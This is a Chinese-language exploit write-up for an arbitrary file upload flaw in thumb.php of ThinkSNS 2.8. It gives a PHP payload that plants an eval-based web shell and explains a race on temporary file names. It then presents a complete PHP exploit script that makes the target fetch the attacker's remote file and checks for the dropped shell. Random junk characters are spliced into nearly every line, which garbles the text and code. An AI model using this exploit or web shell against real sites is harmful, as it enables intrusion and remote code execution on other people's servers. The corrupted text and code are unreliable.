漏洞版本
: f0 W" T: L9 \2 D& U; y2 b, V存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)- ] W, u, R* M, u7 g$ g
漏洞文件
- g6 I* L, a" s# ]/ s/ w6 I+ X存在漏洞的文件为:thumb.php9 }# s0 |/ I" J' o2 K
作者:韦鲲鹏+ Y7 U4 ?% ]9 |6 L G2 H$ q
1、 准备如下PHP文件并上传到服务器(自己的)。
6 }% p7 n9 s4 h! |1 S文件内容如下:$ t7 S3 N- r6 A8 X
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>1 Q# H' N3 U6 l W7 ^
2、 计算出临时的文件名:7 z l8 ]' O& ?7 L6 X: @6 o
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
' q" ]4 Y7 u/ x& g: A7 o9 k; U! A3 h, ~# n( w# u! a
3、 上传临时文件。( b# ~3 h. \' v; t2 Z7 a
4、 访问临时文件。
- n6 W8 X/ O+ |# H但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
6 I/ }* M" O5 m% Z" a2 KExploit文件内容如下:(这个我就不详细解释了)) m2 e: t1 n- t5 I
<?php
( I2 c/ R. y7 K3 s. C; W, v6 H7 ]error_reporting(0);
$ }" X0 t4 a0 ~. fset_time_limit(0);( l8 B/ o5 U: c1 i# o$ P
ini_set(“default_socket_timeout”, 5);" p9 u3 T, C- \
function http_send($host, $port, $headers) {
. i# X) T9 P9 L' N( b% d5 `" N$fp = fsockopen($host, $port);' r6 W3 b3 m% `) D& g1 `' u
if (!$fp) die(‘Connection -> fail’);- G& H' M2 S9 B' C$ Q% I
fputs($fp, $headers);, Y7 ?1 P1 D% i. O4 k( ]- Q
return $fp;
8 g$ U! z$ h4 n1 F [}' P" ]" O1 ^) \& D
function http_recv($fp) {
9 D) M/ |. M. t. d+ r2 U( z- D$ret=”";1 Y' M3 \* ^7 [
while (!feof($fp))1 k) k6 Z0 Y* d
$ret.= fgets($fp, 1024);( Y. g! b7 Q9 I5 z; ?/ g9 W
fclose($fp);
) |, w, j5 s8 Oreturn $ret;( Y, _+ {" \" t$ |# h
}
+ m6 m9 y: p: H. M7 B" i9 K0 |; g* Zprint “\n# ThinkSns Arbitrary File Upload #\n”;
/ L- v% h% ] {5 o& c) R( C7 iprint “# Discovered by 韦鲲鹏 #\n\n”;
1 t) v' E- p" l3 n' @' Hif ($argc < 4) {
% W* V: @7 T, a4 t1 t! eprint “Usage: php <host> <path> <romote_url>\n”;
0 ~' [2 A5 I3 G* G9 l. @print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
4 X- N4 Q% v6 e& \* Edie();# W F% K" G, R! @* x3 s V
}* g; k* u6 r6 |8 n
$host = $argv[1];% W0 _: I' s; f1 t; b
$path = $argv[2];/ Z# P, U# {5 v4 E5 V9 {9 |/ m% J
$url = $argv[3]; \" _3 ?' I, a: A
$i=0;! i% i. h5 k3 _ E4 z! M
//上传数据包1 R8 V# p j" {3 C
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
6 R9 l7 P: j, D g8 ~$headers_up .= “Host: “.$host.”\r\n”;
9 K0 C' K1 h, j: o& f2 \$headers_up .= “Connection: close\r\n\r\n”;
( J! |) |7 h" @; lecho $headers_up;
, y2 b9 c) ]3 ?( s//临时文件访问数据包8 y4 Y- Z5 [ k x* [$ m
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;" \4 r5 k- i: q0 T+ S- A
$headers .= “Host: “.$host.”\r\n”;+ r) |; l9 y2 P: I2 r! c M
$headers .= “Connection: close\r\n\r\n”;
2 w7 v- W3 |9 ?# hecho $headers;
4 C1 U2 \/ s# L5 ]) X9 I7 ewhile(++$i<10) {4 o7 \) g" g0 [
fclose(http_send($host, 80, $headers));% ?3 O; p) ~ G. i4 }9 d
}
+ Z4 Q/ R8 b5 Y* S+ q3 [* Xfclose(http_send($host, 80, $headers_up));* u- ]- O9 Q8 E
while(++$i<50) {
B$ u! J& ~! }+ G7 cfclose(http_send($host, 80, $headers));- p$ k5 j4 a$ J5 ]. h2 L
}* _% L( u1 ~# A
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
) ~' J% `1 Z8 } `8 J) ~$headers .= “Host: “.$host.”\r\n”;0 \6 ~2 S- z5 N x
$headers .= “Connection: close\r\n\r\n”;' S. g- r5 f# }. M9 F
$res=http_recv(http_send($host, 80, $headers));
5 h3 s2 M, j7 f5 c, \if(preg_match(‘/200 OK/’,$res)) {
: Y$ f7 _: \7 uprint “Success!\n\n”;6 z: {/ C- \' k' I, g5 m# E
} else {! P" g: `1 v+ |* u9 p. Q
print “Fail!\n\n”;; |) c2 C4 W1 o2 I
}: [3 w5 p [! P
?>+ n+ q" j' t9 k* d. F
|